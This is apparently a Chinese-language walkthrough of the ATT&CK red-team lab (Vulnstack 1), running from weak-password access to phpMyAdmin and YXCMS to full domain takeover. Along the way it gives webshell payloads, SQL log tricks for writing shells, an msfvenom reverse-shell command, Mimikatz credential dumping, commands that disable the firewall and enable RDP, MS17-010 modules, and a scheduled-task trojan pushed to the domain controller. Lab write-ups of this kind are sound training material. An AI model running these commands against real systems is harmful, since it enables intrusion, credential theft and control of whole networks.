ATT&CK红队评估(一)

image.png

WEB服务器 初探

对目标主机进行扫描探测
image.png
给出的信息 存在80端口 3306 数据库端口
先去访问他的80 端口查看是什么

phpstudy探针

image.png
给出了绝对路径信息, C:/phpStudy/WWW
翻到最下面
image.png
存在用户名 ,密码 尝试使用弱口令

1
2
3
4
5
root root
root 123456
admin admin
admin 123456
......

使用 root root
image.png
连接到数据库正常 ,说明用户名密码没有错。
对目录进行扫描

目录扫描

image.png

phpmyadmin

基本上都是phpmyadmin 的目录
刚好前面经过弱口令测试 得到数据库登录密码
image.png
使用弱口令登录
image.png
登录之后查看数据库版本,数据库信息
image.png
数据库版本信息

1
2
3
4
5
6
Server: localhost via TCP/IP
Software: MySQL
Software version: 5.5.53 - MySQL Community Server (GPL)
Protocol version: 10
User: root@localhost
Server charset: UTF-8 Unicode (utf8)

先放着

YXCMS

还发现存在一个yxcms
image.png
找了找xycms 的后台地址

http://192.168.145.145/yxcms/index.php?r=admin/index/login

r 后面接的是地址
image.png
经过百度 ,Google 发现 xycms 存在弱口令 以及 写phpshell 的 漏洞
使用弱口令 登录

1
admin 123456

image.png

写webshell

前台模版 –> 编辑php文件 —> 写shell
image.png
写简单的一句话
image.png

路径是存在于

yxcms/protected/apps/default/view/default/acomment.php

完整连接

http://192.168.145.145/yxcms/protected/apps/default/view/default/acomment.php

image.png
image.png
连接成功
image.png
ok,转过头来看 phpmyadmin

峰回路转再看phpmyadmin

再次登录 phpmyadmin
image.png
一般phpmyadmin 都是可以执行 sql语句的 所以可以直接使用select into outfile直接写入shell
phpmyadmin getshell 常用方法

1
2
3
4
5
1、select into outfile直接写入
2、开启全局日志getshell
3、使用慢查询日志getsehll
4、使用错误日志getshell
5、利用phpmyadmin4.8.x本地文件包含漏洞getshell

先尝试 select into outfile
select into outfile写入shell,需要知道网站的绝对路径,比较容易失败。
使用 select @@basedir 报绝对路径 ,当然从探针哪里就可以看到绝对路径 ,基本都在phpstudy路径下面
写shell呢,就写在 www/ 下面
image.png
先查看是否有写入权限
image.png
如果值为文件夹目录,则只允许修改目录下的文件,如果值为NULL则为禁止。这里不允许修改 ,无法使用这个方法写shell
但这里还是把写shell的代码贴出来 ,

1
2
select load_file('C:/phpstudy/www/a.php')
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpstudy/www/a.php';

使用全局变量写shell

检测全局变量(general_log、general_log file)

  1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  2. general log file 指的是日志的保存路径。
    1
    SHOW VARIABLES LIKE 'general%'
    image.png
    general_log默认关闭,以及日志的存储路径 。
    全局日志开启并将保存日志的目录设为web目录
    1
    2
    3
    set global general_log=on;# 开启日志

    set global general_log_file='C:/phpStudy/WWW/yxcms/rz.php';# 设置日志位置为网站目录
    再去查询
    image.png
    就会发现开启
    现在执行 select’‘ 语句就写入到 rz.php文件里面
    image.png
    去访问就好了,
    image.png
    image.png
    成功连接shell

进入内网前的信息搜集

先查看IP地址
image.png
存在两张网卡

1
2
192.168.145.145 外网网卡
192.168.52.143 内网网卡

让他上线MSF或者CS
先生成一个木马上线MSF 提权到system

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.145.130 LPORT=4444 -f exe > shell.exe

image.png
上传shell
image.png运行上传的shell
image.png
设置监听
image.png
image.png
就反弹shell了
提权 –
使用最简的 getsystem试一试,因为他现在administrator 权限
image.png
这样就成功提权到system权限了

信息搜集

内网路由
image.png

1
2
3
4
5
6
meterpreter > run get_local_subnets 
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 169.254.0.0/255.255.0.0
Local subnet: 192.168.52.0/255.255.255.0
Local subnet: 192.168.145.0/255.255.255.0

内网网段应该是192.168.52.0/24
添加前往 52网段的路由

1
run autoroute  -s 192.168.52.0/24

查看添加后的路由
image.png
基本的使用

1
2
3
4
5
6
7
8
9
10
11
12
run autoroute -p                  
–>查看域环境
use incognito
–>调用劫持域管理模块
list_tokens -u
–>查看当前目标主机的域环境信息
添加去往目标网段的转发路由
run autoroute –s <目标内网地址网段>
run autoroute -s 0.0.0.0/0
添加到达0.0.0.0/0的路由
查看路由添加情况
run autoroute -p

ipconfig /all 查看ip 和是否存在域

image.png
存在 god.org 域的
查看路由信息
image.png
查看共享 net share
image.png
既然存在域查看域用户
image.png
查看主域

net time /domain

image.png
使用ping 查看 域控的IP地址
IP地址为 : 192.168.52.138
image.png
基本信息收集命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ipconfig /all   # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)

添加一个用户test到管理员组 到后面好进行远程连接
image.png
查看是否开启3389 端口
image.png
好像并没有开启3389
使用这条命令开启3389 端口

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关闭防火墙

1
run post/windows/manage/enable_rdp 

rdesktop IP地址
image.png
远程也开启了 ,抓取一下密码
msf的hashdump 抓取失败了 还可以使用msf自带的模块进行抓取hansh

meterpreter > run post/windows/gather/smart_hashdump

上mimitakz
权限提升

1
privilege::debug

image.png
抓取密码

1
sekurlsa::logonPasswords

image.png
获取到Administrator的密码了
这台机子算完成了
最后再查看内网有哪些机子

1
for /L %I in (1,1,255) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL=" 

由于这个很卡很慢不知道为啥,在这里

1
2
3
4
use post/windows/gather/arp_scanner 
set session 1
set rhosts 192.168.52.100-200
run

image.png
查看到3个ip地址
138 我们已经知道是域控主机了 ,

对141 主机下手 (横向移动)

对141 先进行探测
image.png
添加路由先

socks代理

先添加socks代理

1
2
3
4
5
use auxiliary/server/socks_proxy 
set SRVHOST 127.0.0.1
set SRVPORT 8888
set VERSION 4a
run

image.png
添加代理
image.png
经过测试是可以正常返回内网的 ,一开始使用ping 进行 测试是否联通,但是没用,好像是不支持
image.png

假的 ms17_010 ?

探测是否存在 ms17_010

1
2
3
use auxiliary/scanner/smb/smb_ms17_010 
set rhost 192.168.52.141
run

但是这里一直卡 卡 卡
image.png
扫描发现是存在受攻击的
但是使用攻击模块 一直不成功,发现超时还是其他另外有原因 (不清楚)
image.png
扫描3389 端口
image.png发现关闭的
使用use auxiliary/admin/smb/ms17_010_command 模块开启 3389
image.png
这个模块是可以执行命令的
再次扫描 验证是否有效果
image.png
发现3389 开启了

远程登录

添加一个test1 用户 然后添加到 管理员组
image.png
image.png
远程连接看看是否成功

1
2
proxychains4 rdesktop 192.168.52.141

image.png

问题1

在我想使用exploit/windows/smb/ms17_010_psexec 弹shell 的时候弹不回来 测试不下20次 依旧反弹不了
这图是网上师傅的
image.png
我测试过了 我这边不知道啥问题一直到最后一步就断开了 哎

MSF派生CS

既然上一种方法行不通 ,那就换一种方法
创建一个Lisenter,相当于msf的handler
image.png
使用MSF的exploit/windows/local/payload_inject模块
image.png

1
2
3
4
5
6
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lport 1235 #需要同CS监听端口一致
set session 1 #需要传入的session
set DisablePayloadHandler true
run

上线
image.png
就简单提权 getsystem 也可以或者使用插件CVE 提权
image.png

1
2
shell netsh firewall show state  查询防火墙状态
shell netsh advfirewall set allprofiles state off 关闭防火墙

image.png
获取一些信息
image.png

域控

image.png
创建一个 smb 的监听
点击目标 Target
image.pngimage.png
使用psexec
image.png
选择刚才所创建的smb监听
image.png
然后选择带有session 的 那个
这里是全部做完之后再接截图的,所以全部都已经获取了system权限
这样就可以拿下域控了
image.png
域成员也是如此的
全部拿下
image.png

写任务计划拿域控

通过win7在域控上面上传一个msf马
image.png
存在文件共享的,我们也获取到了域控的密码,可以进行登录上传写计划任务

1
net use \\192.168.52.138\c$ "Admin@123" /user:"administrator"

image.png

1
2
dir \\192.168.52.138\c$

image.png
将一开始的那个shell 传到 域控上面去

1
copy c:\phpstudy\www\yxcms\shell.exe \\192.168.52.138\c$

image.png
设置一个任务计划,定时启动木马之后就能够获取域控的shell了

1
shell schtasks /create /tn "test" /tr C:\shell.exe /sc once /st 2:04 /S 192.168.52.138 /RU System  /u administrator /p "Admin@123"
1
2
3
4
5
6
总结:
第一次打内网的靶场,也是才学习内网,下午两点开始搭建环境到展开打靶的过程
带现在2:27 结束 (下午吃饭,这些时间不算)也有好久了 感觉
不太明白的地方就问题1 我测试了不下20多次 任然错误,就最后一步断开连接 ,真头疼
然后自己不熟悉的地方 还有很多,比如代理,内网穿透啊 ,各种上线啊,等等
这些还不太熟悉,太菜了 ,打一天了